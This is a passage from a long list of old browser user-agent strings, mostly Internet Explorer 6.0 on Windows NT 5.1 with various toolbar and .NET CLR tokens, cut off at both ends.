1.1.4322; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Avant Browser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; FunWebProducts-MyTotalSearch; iebar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Hotbar 4.6.1; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; PeoplePal 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; (R1 1.5); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; HbTools 4.7.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; HbTools 4.7.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; Hotbar 10.0.356.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322; Alexa Toolbar; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; Hotbar 4.5.1.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; Wanadoo 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; Wanadoo 6.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; YPC 3.2.0; .NET CLR 1.1.4322; HbTools 4.8.0; yplus 5.3.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1; i-NavFourF; .NET CLR 1.1.4322; HbTools 4.7.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Seekmo 10.0.275.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Wanadoo 5.6; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; YPC 3.2.0; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; YPC 3.2.0; SV1; .NET CLR 1.1.4322; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; iOpus-I-M) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; iebar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB5; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB5; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB6; FunWebProducts; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Grip Toolbar 2.07a; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.0; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.0; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.2.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.5.0; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.8.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.8.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.10.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.11.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.11.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.13.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.14.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.14.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.8.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.8.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; Crazy Browser 1.0.5; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.2.0; FunWebProducts; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.1.1388) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.1.1406) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.2.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.5.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.6.0; SV1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.7.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.5.0.0; SV1; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.5.1.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; IT) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; LN; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MEGAUPLOAD 1.0; pt-br) Opera 9.25 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT); SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Crazy Browser 1.0.5; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Maxthon; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1; Maxthon; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1; iebar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; PeoplePal 3.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; PeoplePal 6.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; (R1 1.1); MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; .NET CLR 1.0.3617; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; FunWebProducts; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; FunWebProducts; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 3.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.1.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.1.8.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.3.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.3.6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; IOpener Release 1.1.04) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; MyIE2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; MyIE2; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; Alexa Toolbar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; Hotbar 4.5.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; YPC 3.0.1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Wanadoo 6.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.0.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.4; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.4; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.6; Hotbar 4.2.11.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YPC 3.0.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QQDownload 667; SV1; QQDownload 669; TencentTraveler 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QQPinyin 730; SV1; TencentTraveler 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; SV1; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SIMBAR Enabled; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.60 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.65 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Sleipnir/2.30 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Sleipnir/2.5.12 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Sleipnir/2.7.2 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Embedded Web Browser from: http://bsalsa.com/; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://www.changedetection.com/bot.html ) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.1); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.1); .NET 